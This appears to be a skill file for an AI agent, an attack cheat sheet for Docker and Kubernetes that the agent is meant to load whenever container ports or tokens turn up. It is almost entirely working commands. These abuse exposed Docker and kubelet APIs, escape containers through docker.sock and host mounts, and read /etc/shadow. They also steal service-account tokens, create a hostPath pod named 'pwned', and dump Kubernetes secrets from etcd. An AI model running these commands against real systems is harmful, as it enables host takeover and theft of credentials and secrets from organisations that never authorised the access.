| name | svc-docker-k8s |
| description | Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft. Use when a container/orchestration surface is found. Triggers - Docker 2375/2376, Kubernetes API 6443, kubelet 10250, etcd 2379, /version, privileged pod, service-account token, docker.sock. |
Docker & Kubernetes Attack Reference
Docker API (2375/2376)
curl http://<target>:2375/version
curl http://<target>:2375/containers/json
curl -X POST http://<target>:2375/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'
curl -X POST http://<target>:2375/containers/<id>/start
curl http://<target>:2375/containers/<id>/logs?stdout=true
Container Escape
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv
fdisk -l
mount /dev/sda1 /mnt && chroot /mnt
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt
Kubernetes API (6443/8443)
curl -k https://<target>:6443/api
curl -k https://<target>:6443/api/v1/namespaces
curl -k https://<target>:6443/api/v1/pods
curl -k https://<target>:8443/version
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets
curl -k https://<target>:10250/pods
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"
K8s RBAC Abuse
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: pwned
spec:
containers:
- name: pwned
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow"]
volumeMounts:
- mountPath: /host
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
EOF
etcd (2379)
etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only
etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix